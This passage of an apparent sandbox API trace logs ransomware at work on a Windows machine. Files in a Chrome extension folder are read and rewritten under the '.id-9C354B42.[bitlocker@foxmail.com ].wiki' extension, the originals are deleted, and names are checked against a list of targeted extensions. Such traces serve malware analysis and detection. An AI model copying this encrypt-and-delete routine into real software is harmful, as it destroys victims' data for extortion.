hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4355) returned 1 [0175.506] CloseHandle (hObject=0x19c) returned 1 [0175.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js")) returned 0x2020 [0175.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.506] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.506] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.507] GetLastError () returned 0x0 [0175.507] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x1103, lpOverlapped=0x0) returned 1 [0175.508] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x1110, lpOverlapped=0x0) returned 1 [0175.509] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.509] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x106, lpOverlapped=0x0) returned 1 [0175.509] SetEndOfFile (hFile=0x2dc) returned 1 [0175.509] CloseHandle (hObject=0x2dc) returned 1 [0175.510] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.510] SetEndOfFile (hFile=0x19c) returned 1 [0175.510] CloseHandle (hObject=0x19c) returned 1 [0175.517] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.518] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js")) returned 1 [0175.518] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.518] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.518] lstrlenW (lpString=".doc") returned 4 [0175.518] lstrcmpiW (lpString1=".doc", lpString2="d.js") returned -1 [0175.518] lstrlenW (lpString=".docx") returned 5 [0175.518] lstrcmpiW (lpString1=".docx", lpString2="od.js") returned -1 [0175.518] lstrlenW (lpString=".pdf") returned 4 [0175.518] lstrcmpiW (lpString1=".pdf", lpString2="d.js") returned -1 [0175.518] lstrlenW (lpString=".xls") returned 4 [0175.518] lstrcmpiW (lpString1=".xls", lpString2="d.js") returned -1 [0175.518] lstrlenW (lpString=".xlsx") returned 5 [0175.518] lstrcmpiW (lpString1=".xlsx", lpString2="od.js") returned -1 [0175.518] lstrlenW (lpString=".ppt") returned 4 [0175.518] lstrcmpiW (lpString1=".ppt", lpString2="d.js") returned -1 [0175.518] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.518] lstrlenW (lpString=".zip") returned 4 [0175.518] lstrcmpiW (lpString1=".zip", lpString2="d.js") returned -1 [0175.518] lstrlenW (lpString=".rar") returned 4 [0175.519] lstrcmpiW (lpString1=".rar", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString=".bz2") returned 4 [0175.519] lstrcmpiW (lpString1=".bz2", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString=".7z") returned 3 [0175.519] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.519] lstrlenW (lpString=".dbf") returned 4 [0175.519] lstrcmpiW (lpString1=".dbf", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.519] lstrlenW (lpString=".1cd") returned 4 [0175.519] lstrcmpiW (lpString1=".1cd", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.519] lstrlenW (lpString=".jpg") returned 4 [0175.519] lstrcmpiW (lpString1=".jpg", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.519] lstrlenW (lpString=".doc") returned 4 [0175.519] lstrcmpiW (lpString1=".doc", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString=".docx") returned 5 [0175.519] lstrcmpiW (lpString1=".docx", lpString2="od.js") returned -1 [0175.519] lstrlenW (lpString=".pdf") returned 4 [0175.519] lstrcmpiW (lpString1=".pdf", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString=".xls") returned 4 [0175.519] lstrcmpiW (lpString1=".xls", lpString2="d.js") returned -1 [0175.519] lstrlenW (lpString=".xlsx") returned 5 [0175.519] lstrcmpiW (lpString1=".xlsx", lpString2="od.js") returned -1 [0175.519] lstrlenW (lpString=".ppt") returned 4 [0175.519] lstrcmpiW (lpString1=".ppt", lpString2="d.js") returned -1 [0175.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.520] lstrlenW (lpString=".zip") returned 4 [0175.520] lstrcmpiW (lpString1=".zip", lpString2="d.js") returned -1 [0175.520] lstrlenW (lpString=".rar") returned 4 [0175.520] lstrcmpiW (lpString1=".rar", lpString2="d.js") returned -1 [0175.520] lstrlenW (lpString=".bz2") returned 4 [0175.520] lstrcmpiW (lpString1=".bz2", lpString2="d.js") returned -1 [0175.520] lstrlenW (lpString=".7z") returned 3 [0175.520] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.520] lstrlenW (lpString=".dbf") returned 4 [0175.520] lstrcmpiW (lpString1=".dbf", lpString2="d.js") returned -1 [0175.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.520] lstrlenW (lpString=".1cd") returned 4 [0175.520] lstrcmpiW (lpString1=".1cd", lpString2="d.js") returned -1 [0175.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 151 [0175.520] lstrlenW (lpString=".jpg") returned 4 [0175.520] lstrcmpiW (lpString1=".jpg", lpString2="d.js") returned -1 [0175.520] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.520] lstrlenW (lpString="dasherSettingSchema.json") returned 24 [0175.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.521] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=854) returned 1 [0175.521] CloseHandle (hObject=0x19c) returned 1 [0175.521] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json")) returned 0x2020 [0175.521] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.521] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.521] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.522] GetLastError () returned 0x0 [0175.522] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x356, lpOverlapped=0x0) returned 1 [0175.524] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x360, lpOverlapped=0x0) returned 1 [0175.524] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.525] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x104, lpOverlapped=0x0) returned 1 [0175.525] SetEndOfFile (hFile=0x2dc) returned 1 [0175.525] CloseHandle (hObject=0x2dc) returned 1 [0175.525] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.525] SetEndOfFile (hFile=0x19c) returned 1 [0175.526] CloseHandle (hObject=0x19c) returned 1 [0175.526] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.526] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json")) returned 1 [0175.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.526] lstrlenW (lpString=".doc") returned 4 [0175.526] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.526] lstrlenW (lpString=".docx") returned 5 [0175.526] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.526] lstrlenW (lpString=".pdf") returned 4 [0175.526] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.526] lstrlenW (lpString=".xls") returned 4 [0175.526] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.526] lstrlenW (lpString=".xlsx") returned 5 [0175.526] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.526] lstrlenW (lpString=".ppt") returned 4 [0175.526] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.527] lstrlenW (lpString=".zip") returned 4 [0175.527] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.527] lstrlenW (lpString=".rar") returned 4 [0175.527] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.527] lstrlenW (lpString=".bz2") returned 4 [0175.527] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.527] lstrlenW (lpString=".7z") returned 3 [0175.527] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.527] lstrlenW (lpString=".dbf") returned 4 [0175.527] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.527] lstrlenW (lpString=".1cd") returned 4 [0175.527] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.527] lstrlenW (lpString=".jpg") returned 4 [0175.527] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.527] lstrlenW (lpString=".doc") returned 4 [0175.527] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.527] lstrlenW (lpString=".docx") returned 5 [0175.527] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.527] lstrlenW (lpString=".pdf") returned 4 [0175.527] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.527] lstrlenW (lpString=".xls") returned 4 [0175.527] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.528] lstrlenW (lpString=".xlsx") returned 5 [0175.528] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.528] lstrlenW (lpString=".ppt") returned 4 [0175.528] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.528] lstrlenW (lpString=".zip") returned 4 [0175.528] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.528] lstrlenW (lpString=".rar") returned 4 [0175.528] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.528] lstrlenW (lpString=".bz2") returned 4 [0175.528] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.528] lstrlenW (lpString=".7z") returned 3 [0175.528] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.528] lstrlenW (lpString=".dbf") returned 4 [0175.528] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.528] lstrlenW (lpString=".1cd") returned 4 [0175.528] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 150 [0175.528] lstrlenW (lpString=".jpg") returned 4 [0175.528] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.528] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0175.528] lstrlenW (lpString="eventpage_bin_prod.js") returned 21 [0175.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.529] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=23404) returned 1 [0175.529] CloseHandle (hObject=0x19c) returned 1 [0175.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js")) returned 0x2020 [0175.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.529] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.529] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.530] GetLastError () returned 0x0 [0175.530] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x5b6c, lpOverlapped=0x0) returned 1 [0175.532] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b70, lpOverlapped=0x0) returned 1 [0175.533] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.533] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xfe, 